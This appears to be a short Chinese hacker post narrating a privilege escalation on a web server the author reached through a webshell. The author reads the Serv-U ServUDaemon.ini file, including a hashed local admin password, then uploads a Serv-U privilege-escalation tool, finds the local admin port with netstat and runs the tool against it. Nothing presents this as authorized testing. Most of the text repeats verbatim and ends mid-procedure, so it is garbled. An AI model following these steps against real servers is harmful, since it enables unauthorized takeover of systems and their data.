今天获得一个webshell.发现了serv-u目录.看了下ServUDaemon.ini
[GLOBAL]
Version=6.0.0.2
OpenFilesDownloadMode=Exclusive
PacketTimeOut=300
LocalSetupPassword=ah6A0ED50ADD0A516DA36992DB43F3AA39
6.0.0.2版的.曾经看到哪说6.0版的默认本地管理帐号和密码依旧是原来那个.可又好像听谁说过6版的密码已经改了..
呵.这里发现.多出了一行Localsetuppassword.有种不详的预感.难道原来的默认密码已经通过它来设置了?加了MD5,算算纯数字倒还是可以.机会渺茫..
试试能不能写入...显示权限不足(一切都在预料之内).OK试试默认帐户和密码吧.
上传了xiaolu的那个serv-u权限提升工具
netstat -an |find " 43958 "
TCP 127.0.0.1:43958 0.0.0.0:0 LISTENING
嗯,是这个口.
执行命令
D:\web\www\XXXX_com\serv-u.exe 43958
[GLOBAL]
Version=6.0.0.2
OpenFilesDownloadMode=Exclusive
PacketTimeOut=300
LocalSetupPassword=ah6A0ED50ADD0A516DA36992DB43F3AA39
6.0.0.2版的.曾经看到哪说6.0版的默认本地管理帐号和密码依旧是原来那个.可又好像听谁说过6版的密码已经改了..
呵.这里发现.多出了一行Localsetuppassword.有种不详的预感.难道原来的默认密码已经通过它来设置了?加了MD5,算算纯数字倒还是可以.机会渺茫..
试试能不能写入...显示权限不足(一切都在预料之内).OK试试默认帐户和密码吧.
上传了xiaolu的那个serv-u权限提升工具
netstat -an |find " 43958 "
TCP 127.0.0.1:43958 0.0.0.0:0 LISTENING
嗯,是这个口.
执行命令
D:\web\www\XXXX_com\serv-u.exe 43958